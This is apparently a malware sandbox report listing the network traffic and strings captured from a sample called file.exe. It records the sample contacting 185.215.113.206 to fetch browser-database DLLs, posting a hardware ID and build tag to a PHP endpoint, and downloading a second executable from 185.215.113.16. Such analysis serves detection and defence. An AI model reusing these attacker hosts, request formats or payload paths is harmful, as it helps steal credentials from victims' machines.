Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 37 36 44 46 44 33 38 31 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="hwid"7676DFD381C058492808------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="build"drum------EGIJKEHCAKFCAKFHDAAA--

Source: file.exe, 00000005.00000002.1886282629.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeE
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/4c
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllN
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll$
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllK
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll2
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll6
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1927530868.0000000023380000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.X
Source: file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpbe549d9ff8f62368f1a7573402b3ult-release
Source: file.exe, 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpdge
Source: file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps
Source: file.exe, 00000005.00000002.1927530868.0000000023380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsystem32;C:
Source: file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpzXl
Source: file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/cc$
Source: file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206AAARoaming
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: skotes.exe, 00000019.00000002.2531093363.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.2531093363.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7
Source: skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpF
Source: skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2531093363.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpO
Source: skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_87.11.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000005.00000002.1932124200.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000005.00000002.1931570714.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_87.11.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: FCFBFHIE.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: FCFBFHIE.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FCFBFHIE.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FCFBFHIE.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_87.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_87.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_87.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_87.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_87.11.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://support.mozilla.org
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_87.11.dr	String found in binary or memory: https://www.google.com
Source: FCFBFHIE.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_87.11.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_87.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_87.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
